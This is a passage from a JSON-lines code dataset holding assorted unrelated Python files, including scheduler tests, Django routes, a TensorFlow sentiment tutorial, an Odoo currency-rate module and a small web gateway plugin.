f.write(\"Best offspring: \" + str(bestMember))\n        f.write(\"\\n\\n\")\n\n    # Write raw arrays\n    with open(\"src/AI/resultsExplorer/resultsRaw.txt\", \"a\") as f:\n        f.write(str(bestMember + [bestFit]))\n        f.write(\"\\n\")\n","repo_name":"emkarcinos/DSZI_Survival","sub_path":"src/AI/GA_With_DT.py","file_name":"GA_With_DT.py","file_ext":"py","file_size_in_byte":6258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29182678157","text":"import pytest\n\nfrom walle.clients import abc\nfrom walle.hosts import HostLocation\nfrom walle.models import timestamp\nfrom walle.scenario.common import get_inv_to_tags_map\nfrom walle.scenario.constants import FixedMaintenanceApproversLogins\nfrom walle.scenario.data_storage.data_storage import DefaultDataStorage\nfrom walle.scenario.data_storage.types import MaintenanceApproversGroup\nfrom walle.scenario.scenario import ScenarioHostState\nfrom walle.scenario.scheduler import (\n    DatacenterScheduler,\n    AllPreviouslyAcquiredHostsScheduler,\n    MaintenanceApproversScheduler,\n)\n\n\n@pytest.mark.parametrize(\n    [\"datacenters\", \"initial_group_size\", \"result\"],\n    [\n        [(\"IVA\", \"MYT\", \"SAS\", \"VLADIMIR\"), 1, 4],\n        [(\"IVA\",), 1, 1],\n        [tuple(), 0, 0],\n        [(\"IVA\", \"IVA\", \"SAS\", \"SAS\"), 1, 2],\n    ],\n)\ndef test_database_scheduler(walle_test, datacenters, initial_group_size, result):\n    hosts_info = {}\n    for idx, datacenter in enumerate(datacenters):\n        country, city, queue, rack = \"new-country\", \"new-city\", \"new-queue\", \"new-rack\"\n        walle_test.mock_host(\n            dict(\n                inv=idx,\n                name=str(idx),\n                location=HostLocation(\n                    country=country,\n                    city=city,\n                    datacenter=datacenter,\n                    queue=queue,\n                    rack=rack,\n                    physical_timestamp=timestamp(),\n                ),\n            )\n        )\n        hosts_info[str(idx)] = ScenarioHostState(inv=idx, group=0)\n\n    assert len({item.group for item in hosts_info.values()}) == initial_group_size\n\n    scheduled_hosts = DatacenterScheduler.schedule(hosts_info)\n\n    assert len({item.group for item in scheduled_hosts.values()}) == result\n\n\ndef test_previously_scheduled_scheduler(walle_test):\n    for i in range(5):\n        walle_test.mock_host({\"inv\": i})\n    hosts_info = {}\n    for i in range(3):\n        hosts_info[str(i)] = ScenarioHostState(inv=i, group=0, is_acquired=True)\n    for i in range(3, 5):\n        hosts_info[str(i)] = ScenarioHostState(inv=i, group=0)\n\n    scheduled_hosts = AllPreviouslyAcquiredHostsScheduler.schedule(hosts_info)\n    assert len([host for host in scheduled_hosts.values() if host.group >= 0]) == 3\n    assert len([host for host in scheduled_hosts.values() if host.group < 0]) == 2\n\n\ndef test_maintenance_approvers_scheduler(mp, monkeypatch, walle_test):\n    mp.function(abc.get_service_on_duty_logins, return_value=[\"yp-approver-login-1\"])\n    monkeypatch.setattr(FixedMaintenanceApproversLogins, \"YABS_MAINTENANCE_APPROVERS_LOGINS\", [\"yabs-approver-login-1\"])\n    monkeypatch.setattr(\n        FixedMaintenanceApproversLogins,\n        \"YT_MAINTENANCE_APPROVERS_LOGINS\",\n        [\"yt-approver-login-1\", \"yt-approver-login-2\"],\n    )\n    monkeypatch.setattr(\n        FixedMaintenanceApproversLogins, \"DEFAULT_MAINTENANCE_APPROVERS_LOGINS\", [\"default-approver-login-1\"]\n    )\n\n    mock_project_invs_map = {\n        \"yt-project-1\": {\"tags\": [\"yt\", \"some-yt-tag\"], \"invs\": [1]},\n        \"yt-project-2\": {\"tags\": [\"yt\", \"another-yt-tag\"], \"invs\": [2, 3]},\n        \"yp-project\": {\"tags\": [\"yp\", \"some-yp-tag\"], \"invs\": [4]},\n        \"yabs-project\": {\"tags\": [\"yabs\", \"yabs-foo\", \"yabs-bar\"], \"invs\": [5, 6]},\n        \"other-project-1\": {\"tags\": [\"other-foo\"], \"invs\": [7, 8, 9]},\n        \"other-project-2\": {\"tags\": [], \"invs\": [10, 11, 12]},\n        \"yt-over-yp-project\": {\"tags\": [\"yp\", \"yt\", \"some-other-tags\"], \"invs\": [13]},\n        \"yt-masters-project\": {\"tags\": [\"yp\", \"yt\", \"some-other-tag\", \"rtc.reboot_segment-yt_masters\"], \"invs\": [14]},\n    }\n    number_of_hosts_in_mock_project_invs_map = 14\n\n    for project, project_values in mock_project_invs_map.items():\n        walle_test.mock_project({\"id\": project, \"tags\": project_values[\"tags\"]})\n        for inv in project_values[\"invs\"]:\n            walle_test.mock_host({\"inv\": inv, \"project\": project})\n\n    data_storage_dict = {}\n    data_storage = DefaultDataStorage(data_storage_dict)\n\n    hosts_info = {}\n    for idx in range(number_of_hosts_in_mock_project_invs_map):\n        hosts_info[str(idx)] = ScenarioHostState(inv=idx + 1)\n\n    scheduler = MaintenanceApproversScheduler(hosts_info, data_storage)\n    hosts_info = scheduler.schedule()\n\n    maintenance_approvers_groups = data_storage.read()\n\n    expected_group_name_invs_map = {\n        \"yt\": [1, 2, 3, 13],\n        \"yp\": [4],\n        \"yabs\": [5, 6],\n        \"other\": [7, 8, 9, 10, 11, 12],\n        \"rtc.reboot_segment-yt_masters\": [14],\n    }\n\n    for group in maintenance_approvers_groups:\n        hosts_invs_of_given_group = [host.inv for host in hosts_info.values() if host.group == group.group_id]\n        assert hosts_invs_of_given_group == expected_group_name_invs_map[group.name]\n\n    def get_host_approvers(_inv):\n        for host in hosts_info.values():\n            if host.inv == _inv:\n                host_group_id = host.group\n\n                for _group in maintenance_approvers_groups:\n                    if _group.group_id == host_group_id:\n                        return _group.logins\n        raise ValueError(\"Can not find host approvers for host '%s'\" % _inv)\n\n    assert get_host_approvers(1) == [\"yt-approver-login-1\", \"yt-approver-login-2\"]\n    # WALLE-4021\n    assert get_host_approvers(4) == [\"default-approver-login-1\"]  # [\"yp-approver-login-1\"]\n    assert get_host_approvers(5) == [\"yabs-approver-login-1\"]\n    assert get_host_approvers(7) == [\"default-approver-login-1\"]\n    assert get_host_approvers(13) == [\"yt-approver-login-1\", \"yt-approver-login-2\"]\n    assert get_host_approvers(14) == [\"yt-approver-login-1\", \"yt-approver-login-2\"]\n\n\n@pytest.mark.parametrize(\n    [\"hosts_info\", \"mocked_hosts_data\", \"mocked_projects_data\", \"result\"],\n    [\n        [\n            {\n                \"0\": ScenarioHostState(inv=1),\n                \"1\": ScenarioHostState(inv=2),\n                \"2\": ScenarioHostState(inv=3),\n                \"3\": ScenarioHostState(inv=4),\n                \"4\": ScenarioHostState(inv=5),\n            },\n            [\n                {\"inv\": 1, \"project\": \"project-foo\"},\n                {\"inv\": 2, \"project\": \"project-foo\"},\n                {\"inv\": 3, \"project\": \"project-bar\"},\n                {\"inv\": 4, \"project\": \"project-baz\"},\n                {\"inv\": 5, \"project\": \"project-baz\"},\n            ],\n            [\n                {\"id\": \"project-foo\", \"tags\": [\"tag-foo-1\", \"tag-foo-2\"]},\n                {\"id\": \"project-bar\", \"tags\": [\"tag-bar\"]},\n                {\"id\": \"project-baz\", \"tags\": [\"tag-baz\"]},\n            ],\n            # {inv: project tags list}\n            {\n                1: [\"tag-foo-1\", \"tag-foo-2\"],\n                2: [\"tag-foo-1\", \"tag-foo-2\"],\n                3: [\"tag-bar\"],\n                4: [\"tag-baz\"],\n                5: [\"tag-baz\"],\n            },\n        ]\n    ],\n)\ndef test_maintenance_approvers_scheduler_get_inv_tags_map(\n    walle_test, hosts_info, mocked_hosts_data, mocked_projects_data, result\n):\n    for host_data in mocked_hosts_data:\n        walle_test.mock_host(host_data)\n    for project_data in mocked_projects_data:\n        walle_test.mock_project(project_data)\n\n    assert get_inv_to_tags_map([host.inv for host in hosts_info.values()]) == result\n\n\n@pytest.mark.parametrize(\n    [\"hosts_info\", \"inv_tags_map\", \"assertions\"],\n    [\n        [\n            {\n                \"0\": ScenarioHostState(inv=1),\n                \"1\": ScenarioHostState(inv=2),\n                \"2\": ScenarioHostState(inv=3),\n                \"3\": ScenarioHostState(inv=4),\n                \"4\": ScenarioHostState(inv=5),\n                \"5\": ScenarioHostState(inv=6),\n                \"6\": ScenarioHostState(inv=7),\n                \"7\": ScenarioHostState(inv=8),\n            },\n            {\n                1: [\"yp\", \"tag-foo\"],\n                2: [\"yp\", \"tag-foo-2\"],\n                3: [\"yt\", \"tag-bar\"],\n                4: [\"no-known-tags\"],\n                5: [\"no-known-tags\"],\n                6: [\"yabs\"],\n                7: [\"yp\", \"yt\"],\n                8: [\"rtc.reboot_segment-yt_masters\"],\n            },\n            [\n                # At the beginning.\n                (\n                    [],  # MaintenanceApproversScheduler._groups\n                    0,  # MaintenanceApproversScheduler._next_group_id\n                    {},  # MaintenanceApproversScheduler._groups_ids_created_from_known_project_tag\n                    None,  # MaintenanceApproversScheduler._default_approvers_group_id\n                ),\n                # After processing hosts_info[\"0\"].\n                # Added \"yp\" approvers group with group_id 0.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                    ],\n                    1,\n                    {\"yp\": 0},\n                    None,\n                ),\n                # After processing hosts_info[\"1\"].\n                # No changes.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                    ],\n                    1,\n                    {\"yp\": 0},\n                    None,\n                ),\n                # After processing hosts_info[\"2\"].\n                # Added \"yt\" approvers group with group_id 1.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                        MaintenanceApproversGroup(1, \"yt\", [\"yt\", \"approvers\"]),\n                    ],\n                    2,\n                    {\"yp\": 0, \"yt\": 1},\n                    None,\n                ),\n                # After processing hosts_info[\"3\"].\n                # Added \"other\" approvers group with group_id 2.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                        MaintenanceApproversGroup(1, \"yt\", [\"yt\", \"approvers\"]),\n                        MaintenanceApproversGroup(2, \"other\", [\"default-approver-logins\"]),\n                    ],\n                    3,\n                    {\"yp\": 0, \"yt\": 1},\n                    2,\n                ),\n                # After processing hosts_info[\"4\"].\n                # No changes.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                        MaintenanceApproversGroup(1, \"yt\", [\"yt\", \"approvers\"]),\n                        MaintenanceApproversGroup(2, \"other\", [\"default-approver-logins\"]),\n                    ],\n                    3,\n                    {\"yp\": 0, \"yt\": 1},\n                    2,\n                ),\n                # After processing hosts_info[\"5\"].\n                # Added \"yabs\" approvers group with group_id 3.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                        MaintenanceApproversGroup(1, \"yt\", [\"yt\", \"approvers\"]),\n                        MaintenanceApproversGroup(2, \"other\", [\"default-approver-logins\"]),\n                        MaintenanceApproversGroup(3, \"yabs\", [\"yabs\", \"approvers\"]),\n                    ],\n                    4,\n                    {\n                        \"yp\": 0,\n                        \"yt\": 1,\n                        \"yabs\": 3,\n                    },\n                    2,\n                ),\n                # After processing hosts_info[\"6\"].\n                # No changes.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                        MaintenanceApproversGroup(1, \"yt\", [\"yt\", \"approvers\"]),\n                        MaintenanceApproversGroup(2, \"other\", [\"default-approver-logins\"]),\n                        MaintenanceApproversGroup(3, \"yabs\", [\"yabs\", \"approvers\"]),\n                    ],\n                    4,\n                    {\n                        \"yp\": 0,\n                        \"yt\": 1,\n                        \"yabs\": 3,\n                    },\n                    2,\n                ),\n                # After processing hosts_info[\"7\"].\n                # Added \"rtc.reboot_segment-yt_masters\" approvers group with group_id 4.\n                (\n                    [\n                        MaintenanceApproversGroup(0, \"yp\", [\"yp\", \"approvers\"]),\n                        MaintenanceApproversGroup(1, \"yt\", [\"yt\", \"approvers\"]),\n                        MaintenanceApproversGroup(2, \"other\", [\"default-approver-logins\"]),\n                        MaintenanceApproversGroup(3, \"yabs\", [\"yabs\", \"approvers\"]),\n                        MaintenanceApproversGroup(\n                            4, \"rtc.reboot_segment-yt_masters\", [\"rtc.reboot_segment-yt_masters\", \"approvers\"]\n                        ),\n                    ],\n                    5,\n                    {\n                        \"yp\": 0,\n                        \"yt\": 1,\n                        \"yabs\": 3,\n                        \"rtc.reboot_segment-yt_masters\": 4,\n                    },\n                    2,\n                ),\n            ],\n        ]\n    ],\n)\ndef test_maintenance_approvers_scheduler_get_host_group_id(\n    mp, monkeypatch, walle_test, hosts_info, inv_tags_map, assertions\n):\n    def mock_get_approvers_logins_by_known_project_tag(self, tag):\n        return [tag, \"approvers\"]\n\n    monkeypatch.setattr(\n        MaintenanceApproversScheduler,\n        \"_get_approvers_logins_by_known_project_tag\",\n        mock_get_approvers_logins_by_known_project_tag,\n    )\n\n    monkeypatch.setattr(\n        FixedMaintenanceApproversLogins, \"DEFAULT_MAINTENANCE_APPROVERS_LOGINS\", [\"default-approver-logins\"]\n    )\n\n    data_storage_dict = {}\n    data_storage = DefaultDataStorage(data_storage_dict)\n    scheduler = MaintenanceApproversScheduler(hosts_info, data_storage)\n    scheduler._inv_tags_map = inv_tags_map\n\n    def check_assertions(step):\n        _groups, _next_group_id, _groups_ids_created_from_known_project_tag, _default_approvers_group_id = assertions[\n            step\n        ]\n        assert _groups == scheduler._groups\n        assert _next_group_id == scheduler._next_group_id\n        assert _groups_ids_created_from_known_project_tag == scheduler._groups_ids_created_from_known_project_tag\n        if _default_approvers_group_id is None:\n            assert scheduler._default_approvers_group_id is None\n        else:\n            assert _default_approvers_group_id == scheduler._default_approvers_group_id\n\n    check_assertions(0)\n\n    # Emulate MaintenanceApproversScheduler.schedule() method.\n    # Check generated group ids for all ScenarioHostState objects in 'hosts_state' one by one.\n    assert 0 == scheduler._get_host_group_id(hosts_info[\"0\"].inv)\n    check_assertions(1)\n\n    assert 0 == scheduler._get_host_group_id(hosts_info[\"1\"].inv)\n    check_assertions(2)\n\n    assert 1 == scheduler._get_host_group_id(hosts_info[\"2\"].inv)\n    check_assertions(3)\n\n    assert 2 == scheduler._get_host_group_id(hosts_info[\"3\"].inv)\n    check_assertions(4)\n\n    assert 2 == scheduler._get_host_group_id(hosts_info[\"4\"].inv)\n    check_assertions(5)\n\n    assert 3 == scheduler._get_host_group_id(hosts_info[\"5\"].inv)\n    check_assertions(6)\n\n    assert 1 == scheduler._get_host_group_id(hosts_info[\"6\"].inv)\n    check_assertions(7)\n\n    assert 4 == scheduler._get_host_group_id(hosts_info[\"7\"].inv)\n    check_assertions(8)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/scenario/test_scheduler.py","file_name":"test_scheduler.py","file_ext":"py","file_size_in_byte":15385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37065300910","text":"from django.contrib import admin\nfrom django.urls import path, include\n\nfrom . import views\n\nurlpatterns = [\n    path('admin/', admin.site.urls, name=\"admin\"),\n    path('', views.homeView, name=\"home\"),\n    path('shop/', views.shopView, name=\"shop\"),\n    path('checkout/', views.checkoutView, name=\"checkout\"),\n    path('cart/', views.cartView, name=\"cart\"),\n\n    path('update_item/', views.updateItem, name=\"update_item\"),\n    path('process_order/', views.processOrder, name=\"process_order\"),\n]\n","repo_name":"sevenisalie/django-shop","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9593135134","text":"import random\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom IPython.display import set_matplotlib_formats\nset_matplotlib_formats('svg', 'pdf')\nfrom math import log, log1p, exp\nfrom scipy.special import logsumexp\nfrom scipy.stats import pearsonr, spearmanr\nfrom copy import deepcopy\n\nfrom funcs.language_config import *\nfrom funcs.language_funcs import *\nfrom funcs.language_pops import *\nfrom funcs.language_figures import *\n\n\n\nnum_generations = 100\ninit_data = (['02','03','12','13'],\n             ['aa','ab','bb','ba'])\ndata = init_data\n\n\nresults = []\ntopsim0_list = []\ntopsim1_list = []\nfor i in range(5):\n    data = init_data\n    result_run = []\n    topsim0, topsim1 = [],[]\n    for g in range(num_generations):\n        pops_infa = new_pop(2)\n        pops_teen = pop_train(pops_infa, data, 20)\n        pops_adul, data = pop_interact_refgame(pops_teen,200)\n        _ = pop_transmission(pops_adul,20, False)\n        result_run.append(language_stats(pops_adul))\n        topsim0.append(expect_topsim(pops_adul[0],topsims))\n        topsim1.append(expect_topsim(pops_adul[1],topsims))       \n    results.append(result_run)\n    topsim0_list.append(topsim0)\n    topsim1_list.append(topsim1)\n    print(i)\nplt.figure(1)\nplot_ratio_result_graph(results)\nplt.figure(2)\nplt.plot(np.asarray(topsim0_list).mean(0))\n\n\n","repo_name":"Joshua-Ren/MNIST_learning_speed_toy","sub_path":"Bayesian_IL.py","file_name":"Bayesian_IL.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72087989522","text":"from distutils.core import setup\n\n#This is a list of files to install, and where\n#(relative to the 'root' dir, where setup.py is)\n#You could be more specific.\nfiles = [\"*\"]\n\nsetup(name = \"gossip\",\n    version = \"0.0.1\",\n    description = \"Gossiping Open Source Service Interface Police\",\n    author = \"Patrick Rockenschaub\",\n    author_email = \"rogggenbrot@gmail.com\",\n    url = \"www.2point0.at\",\n    #Name the folder where your packages live:\n    #(If you have other packages (dirs) or modules (py files) then\n    #put them into the package directory - they will be found \n    #recursively.)\n    packages = ['gossip'],\n    #'package' package must contain files (see list above)\n    #I called the package 'package' thus cleverly confusing the whole issue...\n    #This dict maps the package name =to=> directories\n    #It says, package *needs* these files.\n    package_data = {'gossip' : files },\n    #'runner' is in the root.\n    scripts = [\"application.py\"],\n    #install_path = '~/gossip',\n    long_description = \"\"\"Gossip library provides the infrastructure to build a peer to peer network in order to supervise proclaimed services from multiple network locations to minimize false alarms.\"\"\" \n    #\n    #This next part is for the Cheese Shop, look a little down the page.\n    #classifiers = []     \n) ","repo_name":"rogggenbrot/Gossip","sub_path":"Gossip/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"29195778379","text":"# -*- coding: utf8 -*-\n#\nfrom src import biaffine_ner\nfrom src.utils import TEST_FILE\n\nbn = biaffine_ner.BiaffineNer()\nbn.predict(\n    file=TEST_FILE,\n    transformer='hfl/chinese-electra-180g-small-discriminator',\n    sequence_length=128\n)\n","repo_name":"geasyheart/biaffine_ner","sub_path":"src/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"7317731385","text":"import matplotlib.pyplot as plt\nimport os\nimport re\nimport shutil\nimport string\nimport tensorflow as tf\n\nfrom tensorflow.keras import layers\nfrom tensorflow.keras import losses\n\n\nurl = \"https://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz\"\ndataset = tf.keras.utils.get_file(\"aclImdb_v1\",url,untar=True,cache_dir='.',\n                                  cache_subdir='')\n\ndataset_dir = os.path.join(os.path.dirname(dataset),'aclImdb')\n\nos.listdir(dataset_dir)\n\ntrain_dir = os.path.join(dataset_dir,'train')\nos.listdir(train_dir)\n\nsample_file = os.path.join(train_dir,'pos/1181_9.txt')\nwith open(sample_file) as f:\n    print(f.read())\n    \n#ładowanie zbioru danych\nremove_dir = os.path.join(train_dir,'unsup')\nshutil.rmtree(remove_dir)\nbatch_size = 32\nseed = 42\nraw_train_ds = tf.keras.utils.text_dataset_from_directory(\n    'aclImdb/train',\n    batch_size=batch_size,\n    validation_split=0.2,\n    subset='training',\n    seed=seed\n\n)\nfor text_batch, label_batch in raw_train_ds.take(1):\n  for i in range(3):\n    print(f\"recenzja: {text_batch.numpy()[i]}\")\n    print(f\"etykieta: {label_batch.numpy()[i]}\")\nprint(f\"etykieta 0 to recenzja: {raw_train_ds.class_names[0]}\")\nprint(f\"etykieta 1 to recenzja: {raw_train_ds.class_names[1]}\")\n\n#dane walidacyjne i testowe\nraw_val_ds = tf.keras.utils.text_dataset_from_directory(\n    'aclImdb/train',\n    batch_size=batch_size,\n    validation_split=0.2,\n    subset='validation',\n    seed=seed\n\n)\n\nraw_test_ds = tf.keras.utils.text_dataset_from_directory(\n    'aclImdb/test',\n    batch_size=batch_size\n    \n)\n\n#przygotowanie zbioru danych do szkolenia....\ndef custom_standarization(input_data):\n  lowercase = tf.strings.lower(input_data)\n  stripped_html = tf.strings.regex_replace(lowercase,'<br />',' ')\n  return tf.strings.regex_replace(stripped_html,'[%s]' %re.escape(string.punctuation),'')\n\nmax_features = 10000\nsequence_length = 250\n\nvectorize_layer = layers.TextVectorization(\n    standardize = custom_standarization,\n    max_tokens = max_features,\n    output_mode = 'int',\n    output_sequence_length = sequence_length\n)\n\ntrain_text = raw_train_ds.map(lambda x,y:x)\nvectorize_layer.adapt(train_text)\n\n\ntext_batch,label_batch = next(iter(raw_train_ds))\nfirst_review, first_label = text_batch[0], label_batch[0]\nprint(f\"recenzja: {first_review}\")\nprint(f\"etykieta: {raw_train_ds.class_names[first_label]}\")\nprint(f\"Zwektoryzowana recenzja: {vectorize_text(first_review,first_label)}\")\n\nprint(f\"1287 --> {vectorize_layer.get_vocabulary()[1287]}\")\nprint(f\"313 --> {vectorize_layer.get_vocabulary()[313]}\")\n","repo_name":"albim72/DEEP_11_22","sub_path":"DZIEN_2/analiza_tekstu.py","file_name":"analiza_tekstu.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18796042176","text":"from odoo import fields, models, api\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT, get_lang\n\nclass PurchaseOrder(models.Model):\n    _inherit ='purchase.order'\n    \n    purchase_manual_currency_rate_active = fields.Boolean('Apply Manual Exchange')\n    purchase_manual_currency_rate = fields.Float('Rate', digits=(12, 6))\n\n    def _prepare_invoice(self):\n        res = super(PurchaseOrder, self)._prepare_invoice()\n        if self.purchase_manual_currency_rate_active:\n            res.update({\n                'manual_currency_rate_active': self.purchase_manual_currency_rate_active,\n                'manual_currency_rate' : self.purchase_manual_currency_rate,\n            })\n        return res\n\n\nclass PurchaseOrderLine(models.Model):\n    _inherit ='purchase.order.line'\n\n\n    @api.depends('product_qty', 'product_uom', 'order_id.purchase_manual_currency_rate_active', 'order_id.purchase_manual_currency_rate')\n    def _compute_price_unit_and_date_planned_and_name(self):\n        for line in self:\n            if not line.product_id or line.invoice_lines:\n                continue\n            params = {'order_id': line.order_id}\n            seller = line.product_id._select_seller(\n                partner_id=line.partner_id,\n                quantity=line.product_qty,\n                date=line.order_id.date_order and line.order_id.date_order.date(),\n                uom_id=line.product_uom,\n                params=params)\n            \n\n            manual_currency_rate_active = line.order_id.purchase_manual_currency_rate_active\n            manual_currency_rate = line.order_id.purchase_manual_currency_rate\n\n            if seller or not line.date_planned:\n                line.date_planned = line._get_date_planned(seller).strftime(DEFAULT_SERVER_DATETIME_FORMAT)\n\n            # If not seller, use the standard price. It needs a proper currency conversion.\n            if not seller:\n                unavailable_seller = line.product_id.seller_ids.filtered(\n                    lambda s: s.partner_id == line.order_id.partner_id)\n\n                if not unavailable_seller and line.price_unit and line.product_uom == line._origin.product_uom and not manual_currency_rate_active:\n                    # Avoid to modify the price unit if there is no price list for this partner and\n                    # the line has already one to avoid to override unit price set manually.\n                    continue\n                po_line_uom = line.product_uom or line.product_id.uom_po_id\n                price_unit = line.env['account.tax']._fix_tax_included_price_company(\n                    line.product_id.uom_id._compute_price(line.product_id.standard_price, po_line_uom),\n                    line.product_id.supplier_taxes_id,\n                    line.taxes_id,\n                    line.company_id,\n                )\n\n                if manual_currency_rate_active:\n                    line.price_unit = price_unit * manual_currency_rate\n                else:\n                    line.price_unit = line.currency_id._convert(\n                        price_unit,\n                        line.currency_id,\n                        line.company_id,\n                        line.date_order,\n                    )\n                continue\n\n            price_unit = line.env['account.tax']._fix_tax_included_price_company(seller.price, line.product_id.supplier_taxes_id, line.taxes_id, line.company_id) if seller else 0.0\n            \n            if manual_currency_rate_active:\n                price_unit = price_unit * manual_currency_rate\n            else:\n                price_unit = seller.currency_id._convert(price_unit, line.currency_id, line.company_id, line.date_order)\n\n            line.price_unit = seller.product_uom._compute_price(price_unit, line.product_uom)\n\n            # record product names to avoid resetting custom descriptions\n            default_names = []\n            vendors = line.product_id._prepare_sellers({})\n            for vendor in vendors:\n                product_ctx = {'seller_id': vendor.id, 'lang': get_lang(line.env, line.partner_id.lang).code}\n                default_names.append(line._get_product_purchase_description(line.product_id.with_context(product_ctx)))\n            if not line.name or line.name in default_names:\n                product_ctx = {'seller_id': seller.id, 'lang': get_lang(line.env, line.partner_id.lang).code}\n                line.name = line._get_product_purchase_description(line.product_id.with_context(product_ctx))","repo_name":"nndaba/PureAfricaZW","sub_path":"bi_manual_currency_exchange_rate/models/purchase.py","file_name":"purchase.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1212927022","text":"from django.core.management.base import BaseCommand\n\nfrom core.models import ExternalDatabase, Project\nfrom core.utils.utils_external_db import load_ingest_table\n\n\nclass Command(BaseCommand):\n    help = \"Pulls any new data from the ingest database table.\"\n\n    def handle(self, *args, **kwargs):\n        ingest_projects = ExternalDatabase.objects.filter(cron_ingest=True).values_list(\n            flat=True\n        )\n        if len(ingest_projects) == 0:\n            print(\"No projects have cron_ingest set to True.\")\n        for pk in ingest_projects:\n            print(\"Ingesting project\", pk)\n            project = Project.objects.get(pk=pk)\n            response = {}\n            response = load_ingest_table(project, response)\n            if \"num_added\" in response:\n                print(\"Imported\", response[\"num_added\"], \"new items\")\n            if \"error\" in response:\n                print(response[\"error\"])\n","repo_name":"RTIInternational/SMART","sub_path":"backend/django/core/management/commands/ingest_database_data.py","file_name":"ingest_database_data.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":208,"dataset":"github-code","pt":"3"}
+{"seq_id":"72093318801","text":"\"\"\"\nWeb Plugin for Gateway-Pages\n\"\"\"\nfrom com.Globals import *\n\nfrom web.MicroWebSrv.microWebSrv import MicroWebSrv\n\nimport com.Tool as Tool\nimport web.Web as Web\n\n#######\n\n@MicroWebSrv.route('/gateways')\ndef web_gateways(httpClient, httpResponse):\n    \"\"\" TODO \"\"\"\n\n    err, ret = Web.command(httpResponse, 'gateway.list')\n    if err:\n        Web.flash_error(httpResponse, err, ret)\n        ret = []\n\n    ret.sort(key=lambda x: x['NAME'].upper())\n\n    vars = {}\n    vars['menu'] = 'gateways'\n    vars['gateway_list'] = ret\n\n    return httpResponse.WriteResponsePyHTMLFile('web/www/gateways.html', vars=vars)\n\n#######\n\n@MicroWebSrv.route('/gateways/stage/')\ndef web_gateways_list(httpClient, httpResponse):\n    \"\"\" TODO \"\"\"\n\n    err, ret = Web.command(httpResponse, 'gateway.stage.list')\n    if err:\n        Web.flash_error(httpResponse, err, ret)\n        ret = []\n\n    ret.sort(key=lambda x: x['PNAME'].upper())\n\n    vars = {}\n    vars['menu'] = 'gateways'\n    vars['gateway_list'] = ret\n\n    return httpResponse.WriteResponsePyHTMLFile('web/www/gateways_list.html', vars=vars)\n\n#######\n\n@MicroWebSrv.route('/gateways/add/<ezPID>/')\ndef web_gateway_add(httpClient, httpResponse, args):\n    \"\"\" TODO \"\"\"\n    ezPID = args['ezPID']\n\n    params = {'ezPID': ezPID}\n    err, ret = Web.command(httpResponse, 'gateway.add', items=params)\n    if err:\n        Web.flash_error(httpResponse, err, ret, ezPID)\n    else:\n        Web.command(httpResponse, 'save')\n        msg = 'Gateway \"{}\" added'.format(ezPID)\n        httpResponse.FlashMessage(msg, 'info')\n        return httpResponse.WriteResponseRedirect('/gateways/edit/'+str(ret))\n\n    return httpResponse.WriteResponseRedirect('/gateways')\n\n#######\n\n@MicroWebSrv.route('/gateways/edit/<idx>/')\n@MicroWebSrv.route('/gateways/edit/<idx>/', 'POST')\ndef web_gateway_edit(httpClient, httpResponse, args):\n    \"\"\" TODO \"\"\"\n    idx = int(args['idx'])\n\n    err, ret = Web.command(httpResponse, 'gateway.getparams', index=idx)\n    if err:\n        Web.flash_error(httpResponse, err, ret, idx)\n        return httpResponse.WriteResponseRedirect('/gateways')\n\n    params = {}\n    params.update(ret)\n\n    if httpClient.GetRequestMethod() == 'POST':\n        formParams = httpClient.ReadRequestPostedFormData()        \n        if formParams:\n            formParams['ENABLE'] = 'ENABLE' in formParams   # checkbox -> bool\n            params.update(formParams)\n        err, ret = Web.command(httpResponse, 'gateway.setparams', index=idx, params=formParams)\n        if not err:\n            err, ret = Web.command(httpResponse, 'save')\n        if err:\n            Web.flash_error(httpResponse, err, ret, idx)\n        else:\n            httpResponse.FlashMessage('Settings saved', 'info')\n    else: # GET\n        pass\n\n    vars = {}\n    vars['menu'] = 'gateways'\n    vars['index'] = idx\n    vars.update(params)\n\n    err, html = Web.command(httpResponse, 'gateway.gethtml', index=idx)\n\n    return httpResponse.WriteResponsePyHTMLFile(html, vars=vars)\n\n#######\n\n@MicroWebSrv.route('/gateways/del/<idx>/')\ndef web_gateway_del(httpClient, httpResponse, args):\n    \"\"\" TODO \"\"\"\n    idx = int(args['idx'])\n\n    err, ret = Web.command(httpResponse, 'gateway.delete', index=idx)\n    if err:\n        Web.flash_error(httpResponse, err, ret, idx)\n    else:\n        err, ret = Web.command(httpResponse, 'save')\n        